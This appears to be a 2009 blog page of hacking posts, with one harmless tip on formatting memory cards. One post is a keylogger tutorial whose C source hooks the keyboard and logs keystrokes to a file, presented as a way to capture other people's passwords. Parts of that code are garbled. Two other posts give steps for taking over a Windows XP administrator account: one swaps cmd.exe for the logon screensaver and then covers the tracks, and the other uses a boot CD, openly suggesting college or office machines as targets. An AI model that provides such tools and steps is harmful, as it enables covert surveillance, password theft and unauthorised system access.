Friday, April 17, 2009

CONVERT A 512 MB duo/produo/MMC CARD TO 640 MB

ONVERT A 512 MB duo/produo/MMC CARD TO 640 MB
I guess it works for duo/produo/mmc cards.

Principle:--Your files in duo/produo/MMC is stored in multiple (disk) blocks.
So if you format using 16K block, the space used will be 16K eventhough your file is just 1K.
If you buy DUO/PRO-DUO, it is usually preformatted with 16K block. Therefore a lot of space is wasted as most installed program files are usually less than 2K.

ProCeDure:--
You will need a card reader to do this:-
edit:you can also do it by connecting your phone via usb

1. Connect card reader and copy all your files in the memory card to computer disk.
(Make sure you set the show all/hidden/os files to "on")
2. Do a format of the memory card using command line "format" and use the /A=size option.
Alternative, you can use the Disk Management in Adminstrative Tools to format.
Make sure you select FAT16. For 256MB memory card, smallest block you can use is 4K, 128MB is 2K, 64Mb is 1K and 32MB is 512B.

(Note: You cannot use the phone "format ext.mem" to do this as the format just clear the allocation table and does not change the block size)

3. Copy back all files to memory card.

Now you will find that you will have more space.
I have installed many software to to my 256MB memory card and it is nearly full. After doing above, I got an "extra" 32MB.

For those who have problem with command line format::

Just use the Disk Managament to format

1. Goto Start->control Panel->Administrative Tools->Computer management->Disk management
2. Select your memory card/usb drive. Right-click and select "Format"
3. Select "FAT". Choose Allocation size. For 256Mb MMC select 4K, 128Mb MMC select 2K, 64Mb MMC select 1K and 32Mb MMC select 512B

Keylogger - A Complete Tutorial

What is a keylogger?

it's a program that logs everything that you type on the keyboard.

what are it's usages to me?

well, if you want to record everytyhing someone types then you can then see anything you want like passwords and such.

how do i get one?

you can buy some corporate or home usage ones that are made for recording what employees are doing or what your kids are doing that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.

ok, how do i do this?

you program one. if your new to programming then learn how to program in c then come back here.
if you know how to program in C then read on.

there are two ways of making a keylogger:

1. using the GetAsyncKeyState API. look at svchost.c.

2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it:

code: */

// This code will only work if you have Windows NT or
// any later version installed, 2k and XP will work.

#define _WIN32_WINNT 0x0400
#include "windows.h"
#include "winuser.h"
#include "stdio.h"

// Global Hook handleHHOOK hKeyHook;

// This is the function that is "exported" from the
// execuatable like any function is exported from a
// DLL. It is the hook handler routine for low level
// keyboard events.

__declspec(dllexport) LRESULT CALLBACK KeyEvent (

int nCode,
// The hook codeWPARAM wParam,
// The window message (WM_KEYUP, WM_KEYDOWN, etc.)LPARAM lParam
// A pointer to a struct with information about the pressed key
) {
if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
((wParam == WM_SYSKEYDOWN) // Only react if either a system key ...
(wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
{
// This struct contains various information about
// the pressed key such as hardware scan code, virtual
// key code and further flags.

KBDLLHOOKSTRUCT hooked =
*((KBDLLHOOKSTRUCT*)lParam);

// dwMsg shall contain the information that would be stored
// in the usual lParam argument of a WM_KEYDOWN message.
// All information like hardware scan code and other flags
// are stored within one double word at different bit offsets.
// Refer to MSDN for further information:
//
// http://msdn.microsoft.com/library/en-us/winui/winui/
// windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
//
// (Keystroke Messages)

DWORD dwMsg = 1;
dwMsg += hooked.scanCode << 16;
dwMsg += hooked.flags << 24;

// Call the GetKeyNameText() function to get the language-dependant
// name of the pressed key. This function should return the name
// of the pressed key in your language, aka the language used on
// the system.

char lpszName[0x100] = {0};
lpszName[0] = '[';

int i = GetKeyNameText(dwMsg,
(lpszName+1),0xFF) + 1;

lpszName = ']';

// Print this name to the standard console output device.

FILE *file;
file=fopen("keys.log","a+");
fputs(lpszName,file);
fflush(file);
}

// the return value of the CallNextHookEx routine is always
// returned by your HookProc routine. This allows other
// applications to install and handle the same hook as well.

return CallNextHookEx(hKeyHook,
nCode,wParam,lParam);

}
// This is a simple message loop that will be used
// to block while we are logging keys. It does not

// perform any real task ...

void MsgLoop(){MSG message;
while (GetMessage(&message,NULL,0,0)) {
TranslateMessage( &message );
DispatchMessage( &message );}
}

// This thread is started by the main routine to install
// the low level keyboard hook and start the message loop
// to loop forever while waiting for keyboard events.

DWORD WINAPI KeyLogger(LPVOID lpParameter){
// Get a module handle to our own executable. Usually,
// the return value of GetModuleHandle(NULL) should be
// a valid handle to the current application instance,
// but if it fails we will also try to actually load
// ourself as a library. The thread's parameter is the
// first command line argument which is the path to our
// executable.

HINSTANCE hExe = GetModuleHandle(NULL);
if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);

// Everything failed, we can't install the hook ... this
// never happened, but error handling is important.

if (!hExe) return 1;

hKeyHook = SetWindowsHookEx (

// install the hook:

WH_KEYBOARD_LL, // as a low level keyboard hook
(HOOKPROC) KeyEvent,
// with the KeyEvent function from this executable
hExe, // and the module handle to our own executableNULL
// and finally, the hook should monitor all threads.
);

// Loop forever in a message loop and if the loop
// stops some time, unhook the hook. I could have
// added a signal handler for ctrl-c that unhooks
// the hook once the application is terminated by
// the user, but I was too lazy.

MsgLoop();
UnhookWindowsHookEx(hKeyHook);
return 0;
}
// The main function just starts the thread that
// installs the keyboard hook and waits until it
// terminates.

int main(int argc, char** argv)
{
HANDLE hThread;
DWORD dwThread;
DWORD exThread;

hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
KeyLogger, (LPVOID) argv[0], NULL, &dwThread);

if (hThread)
{
return WaitForSingleObject(hThread,INFINITE);
}
else {return 1;}
}

//This is for educational purpose only.........

How to Hack a Window XP Administrator Password

his is only for educational purpose it is a simple way to Hack the Window XP Administrator Password and also get away with it. To Hack the Window XP Administrator Password not many steps are involved especially if you already have a knowleged of working with the DOS prompt.

Here are the steps involved to Hack the Window XP Administrator Password .
Go to Start –> Run –> Type in CMD
You will get a command prompt. Enter these commands the way it is given
cd\
cd\ windows\system32
mkdir temphack
copy logon.scr temphack\logon.scr
copy cmd.exe temphack\cmd.exe
del logon.scr
rename cmd.exe logon.scr
exit

Wait its not over read the rest to find out how to Hack the Window XP Administrator Password
A Brief explanation of what you are currently doing here is

Your are nagivating to the windows system Directory where the system files are stored. Next your creating a temporary directory called mkdir. After which you are copying or backing up the logon.scr cmd.exe files into the mkdir then you are deleting the logon.scr file and renaming cmd.exe file to logon.scr. and

So basically you are telling windows is to backup the command program and the screen saver file. Then we edited the settings so when windows loads the screen saver, we will get an unprotected dos prompt without logging in. When this appears enter this command

net user password

Example: If the admin user name is clazh and you want change the password to pass Then type in the following command

net user clazh pass

This will chang the admin password to pass.
Thats it you have sucessfully hacked the Window XP Administrator Password now you can Log in, using the hacked Window XP Administrator Password and do whatever you want to do.

Here are the steps involved to De Hack or restore the Window XP Administrator Password to cover your tracks.
Go to Start –> Run –> Type in CMD
You will get a command prompt. Enter these commands the way it is given
cd\
cd\ windows\system32\temphack
copy logon.scr C:\windows\system32\logon.scr
copy cmd.exe C:\windows\system32\cmd.exe
exit

Or simply go to C:\windows\system32\temphack and copy the contents of temphack back into system32 directory click Yes to overwrite the modified files.

Thanks to internetbusinessdaily.net

Posted By Clazh

Update: Christian Mohn points out this is possible only if you have Local Administrator Privileges. My fault for not checking it up before posting.

Wednesday, April 1, 2009

Break or Reset Administrator password in XP

So if you have forgotten the password of your admin account in Windows XP or just want to break in the Admin account of your college or office, do not worry, you can easily do that. However, I recommend this trick only for your personal use. There are numerous ways available to do so but the best possible way is to use EBCD (Emergency Boot CD), download from here.

Procedure:

1. After you have downloaded the EBCD, extract and run “makeebcd.exe” to create an iso image for burning on the disk.

2. Set Bios to boot from the CD Drive and insert the CD created in above step. You will see the following image, type 5 to select NT password for editor (Linux-based).

3. Then press Enter in the next step to proceed.

4. Press Enter again if you don’t keep Windows on SCSI drive.

5. Select which drive contains your installation files or just press Enter to accept the default value given in the bracket. If your installation is in C: drive just press Enter.

6. Press Enter in the next step to accept default values.

7. Press Enter again.

8. To enter password, press Enter to select the default option.

9. Select the username. To enter password for Administrator just press Enter.

10. To change the password just leave it blank and change it later after login (modifying password at this step will not work).

11. Press Enter to confirm.

12. Type ‘!’ and press Enter in the next step.

13. Type ‘q’ to quit.

14. Type ‘Y’ to write the SAM files.

Congratulations the password has been reset. So just login with no password and enter yours.